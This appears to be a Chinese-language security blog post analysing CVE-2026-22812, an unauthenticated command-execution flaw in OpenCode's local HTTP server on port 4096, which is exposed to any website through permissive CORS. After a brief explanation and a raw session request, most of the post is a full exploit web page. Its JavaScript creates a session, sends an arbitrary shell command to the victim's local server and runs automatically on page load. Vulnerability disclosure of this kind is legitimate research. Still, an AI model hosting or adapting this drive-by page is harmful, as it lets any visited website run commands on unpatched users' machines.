前言

前几天刚好下载了一个OpenCode,出漏洞了,刚好分析一下

漏洞概述

OpenCode 是一款开源 AI 编码代理。在 1.0.216 版本之前,OpenCode 会自动启动一个未经身份验证的 HTTP 服务器,该服务器允许任何本地进程(或通过宽松 CORS 的任何网站)以用户的权限执行任意 shell 命令。此漏洞已在 1.0.216 版本中修复。

漏洞分析/复现

通过下面的接口可以获取seesion

POST /session HTTP/1.1
Host: 127.0.0.1:4096
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 2

{}

可以通过/session/:sessionID/shell此接口命令执行,sessionID为上面返回包里面的id

本地测试一下,的确可以RCE

但是4096端口默认是监听在127.0.0.1的,如何远程触发呢?

使用Hono框架构建了一个http服务器,代码中使用了 cors() 中间件,但没有传入任何配置参数,这导致默认允许所有来源的跨域请求

于是我们可以构造一个恶意页面,当用户访问这个页面时,由于存在cors跨域,会请求127.0.0.1:4096

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2026-22812 漏洞演示</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        
        .container {
            background: white;
            border-radius: 12px;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3);
            max-width: 800px;
            width: 100%;
            padding: 30px;
        }
        
        h1 {
            color: #d32f2f;
            margin-bottom: 10px;
            font-size: 24px;
        }
        
        .warning {
            background: #fff3cd;
            border: 1px solid #ffc107;
            border-radius: 6px;
            padding: 15px;
            margin-bottom: 20px;
            color: #856404;
        }
        
        .warning strong {
            color: #d32f2f;
        }
        
        .config-section {
            margin-bottom: 25px;
        }
        
        label {
            display: block;
            margin-bottom: 8px;
            font-weight: 600;
            color: #333;
        }
        
        input[type="text"] {
            width: 100%;
            padding: 10px;
            border: 2px solid #ddd;
            border-radius: 6px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        
        input[type="text"]:focus {
            outline: none;
            border-color: #667eea;
        }
        
        .button-group {
            display: flex;
            gap: 10px;
            margin-top: 20px;
        }
        
        button {
            flex: 1;
            padding: 12px 24px;
            border: none;
            border-radius: 6px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s;
        }
        
        .btn-primary {
            background: #667eea;
            color: white;
        }
        
        .btn-primary:hover {
            background: #5568d3;
            transform: translateY(-2px);
            box-shadow: 0 4px 12px rgba(102, 126, 234, 0.4);
        }
        
        .btn-danger {
            background: #d32f2f;
            color: white;
        }
        
        .btn-danger:hover {
            background: #b71c1c;
            transform: translateY(-2px);
            box-shadow: 0 4px 12px rgba(211, 47, 47, 0.4);
        }
        
        .btn-secondary {
            background: #6c757d;
            color: white;
        }
        
        .btn-secondary:hover {
            background: #5a6268;
        }
        
        .log-section {
            margin-top: 25px;
        }
        
        .log-container {
            background: #1e1e1e;
            border-radius: 6px;
            padding: 15px;
            max-height: 400px;
            overflow-y: auto;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            line-height: 1.6;
        }
        
        .log-entry {
            margin-bottom: 10px;
            padding: 8px;
            border-radius: 4px;
        }
        
        .log-info {
            color: #4fc3f7;
        }
        
        .log-success {
            color: #81c784;
            background: rgba(129, 199, 132, 0.1);
        }
        
        .log-error {
            color: #e57373;
            background: rgba(229, 115, 115, 0.1);
        }
        
        .log-request {
            color: #ffb74d;
        }
        
        .log-response {
            color: #64b5f6;
        }
        
        .status {
            display: inline-block;
            padding: 4px 12px;
            border-radius: 12px;
            font-size: 12px;
            font-weight: 600;
            margin-left: 10px;
        }
        
        .status-success {
            background: #c8e6c9;
            color: #2e7d32;
        }
        
        .status-error {
            background: #ffcdd2;
            color: #c62828;
        }
        
        .status-pending {
            background: #fff9c4;
            color: #f57f17;
        }
        
        pre {
            background: #f5f5f5;
            padding: 10px;
            border-radius: 4px;
            overflow-x: auto;
            margin-top: 5px;
            font-size: 12px;
        }
        
        .command-input {
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🔓 CVE-2026-22812 漏洞演示</h1>
        
        <div class="warning">
            <strong>⚠️ 安全警告:</strong>此演示仅用于安全研究和教育目的。请勿在未授权的系统上使用。
            此漏洞允许未认证的远程命令执行。
        </div>
        
        <div class="config-section">
            <label for="serverUrl">OpenCode 服务器地址:</label>
            <input type="text" id="serverUrl" value="http://127.0.0.1:4096" placeholder="http://127.0.0.1:4096">
        </div>
        
        <div class="config-section">
            <label for="command">要执行的命令:</label>
            <input type="text" id="command" value="calc.exe" placeholder="calc.exe (Windows) 或 ls (Linux/macOS)">
            <small style="color: #666; display: block; margin-top: 5px;">
                Windows: calc.exe, notepad.exe | Linux/macOS: ls, whoami, id
            </small>
        </div>
        
        <div class="button-group">
            <button class="btn-danger" onclick="exploit()">🚀 手动执行漏洞利用</button>
            <button class="btn-secondary" onclick="clearLogs()">🗑️ 清空日志</button>
        </div>
        
        <div class="warning" style="margin-top: 15px;">
            <strong>⚠️ 自动执行:</strong>页面加载时将立即自动执行漏洞利用,无需点击按钮。
            这演示了恶意网站如何自动攻击用户的 OpenCode 服务器。
        </div>
        
        <div class="log-section">
            <h2>执行日志 <span id="status" class="status status-pending">等待中</span></h2>
            <div id="logContainer" class="log-container"></div>
        </div>
    </div>

    <script>
        let sessionId = null;
        
        function log(message, type = 'info') {
            const logContainer = document.getElementById('logContainer');
            const entry = document.createElement('div');
            entry.className = `log-entry log-${type}`;
            
            const timestamp = new Date().toLocaleTimeString();
            entry.innerHTML = `[${timestamp}] ${message}`;
            
            logContainer.appendChild(entry);
            logContainer.scrollTop = logContainer.scrollHeight;
        }
        
        function updateStatus(text, type) {
            const statusEl = document.getElementById('status');
            statusEl.textContent = text;
            statusEl.className = `status status-${type}`;
        }
        
        function clearLogs() {
            document.getElementById('logContainer').innerHTML = '';
            sessionId = null;
            updateStatus('等待中', 'pending');
        }
        
        async function exploit() {
            clearLogs();
            updateStatus('执行中...', 'pending');
            
            const serverUrl = document.getElementById('serverUrl').value.trim();
            const command = document.getElementById('command').value.trim();
            
            if (!serverUrl || !command) {
                log('❌ 请填写服务器地址和命令', 'error');
                updateStatus('错误', 'error');
                return;
            }
            
            log('🔍 开始漏洞利用流程...', 'info');
            log(`📡 目标服务器: ${serverUrl}`, 'info');
            log(`💻 执行命令: ${command}`, 'info');
            log('', 'info');
            
            try {
                // 第一步:创建 Session 获取 ID
                log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                log('📝 步骤 1: 创建 Session 获取 ID', 'info');
                log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                
                const sessionRequest = {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({})
                };
                
                log(`📤 请求: POST ${serverUrl}/session`, 'request');
                log(`📦 请求体: {}`, 'request');
                
                const sessionResponse = await fetch(`${serverUrl}/session`, sessionRequest);
                const sessionData = await sessionResponse.json();
                
                log(`📥 响应状态: ${sessionResponse.status} ${sessionResponse.statusText}`, 'response');
                log(`📦 响应体:`, 'response');
                log(`<pre>${JSON.stringify(sessionData, null, 2)}</pre>`, 'response');
                
                if (!sessionResponse.ok || !sessionData.id) {
                    throw new Error('无法创建 Session: ' + JSON.stringify(sessionData));
                }
                
                sessionId = sessionData.id;
                log(`✅ Session ID 获取成功: ${sessionId}`, 'success');
                log('', 'info');
                
                // 第二步:使用 Session ID 执行命令
                log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                log('💣 步骤 2: 使用 Session ID 执行命令', 'info');
                log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                
                const shellRequest = {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        agent: 'build',
                        command: command
                    })
                };
                
                // 注意:根据代码,正确的路由是 /session/:sessionID/shell
                const shellUrl = `${serverUrl}/session/${sessionId}/shell`;
                log(`📤 请求: POST ${shellUrl}`, 'request');
                log(`📦 请求头:`, 'request');
                log(`<pre>Content-Type: application/json</pre>`, 'request');
                log(`📦 请求体:`, 'request');
                log(`<pre>${JSON.stringify({agent: 'build', command: command}, null, 2)}</pre>`, 'request');
                
                log('⏳ 发送命令执行请求...', 'info');
                
                const shellResponse = await fetch(shellUrl, shellRequest);
                const shellData = await shellResponse.json();
                
                log(`📥 响应状态: ${shellResponse.status} ${shellResponse.statusText}`, 'response');
                log(`📦 响应体:`, 'response');
                log(`<pre>${JSON.stringify(shellData, null, 2)}</pre>`, 'response');
                
                if (shellResponse.ok) {
                    log('', 'info');
                    log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                    log('🎯 漏洞利用成功!', 'success');
                    log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                    log('', 'info');
                    log('⚠️ 命令已成功发送到服务器执行', 'error');
                    log('⚠️ 这证明了 CVE-2026-22812 漏洞的存在:', 'error');
                    log('   1. 服务器没有进行身份验证', 'error');
                    log('   2. 允许跨域请求(CORS)', 'error');
                    log('   3. 可以执行任意系统命令', 'error');
                    updateStatus('利用成功', 'success');
                } else {
                    throw new Error('命令执行失败: ' + JSON.stringify(shellData));
                }
                
            } catch (error) {
                log('', 'info');
                log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                log('❌ 漏洞利用失败', 'error');
                log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
                log(`错误信息: ${error.message}`, 'error');
                log('', 'info');
                log('可能的原因:', 'error');
                log('1. 服务器未运行或地址不正确', 'error');
                log('2. 服务器已修复漏洞(版本 >= 1.0.216)', 'error');
                log('3. 网络连接问题', 'error');
                log('4. CORS 策略已限制', 'error');
                updateStatus('利用失败', 'error');
            }
        }
        
        // 页面加载时立即自动执行漏洞利用
        window.addEventListener('load', () => {
            log('📋 CVE-2026-22812 漏洞演示工具', 'info');
            log('', 'info');
            log('⚠️ 警告:页面加载时自动执行漏洞利用!', 'error');
            log('', 'info');
            log('漏洞说明:', 'info');
            log('• OpenCode < 1.0.216 版本存在未认证命令执行漏洞', 'info');
            log('• 服务器默认监听在 127.0.0.1:4096', 'info');
            log('• 允许跨域请求(CORS: *)', 'info');
            log('• 任何网站都可以通过 JavaScript 执行命令', 'info');
            log('', 'info');
            log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
            log('🚀 立即开始漏洞利用...', 'info');
            log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━', 'info');
            log('', 'info');
            
            // 立即执行漏洞利用
            exploit();
        });
    </script>
</body>
</html>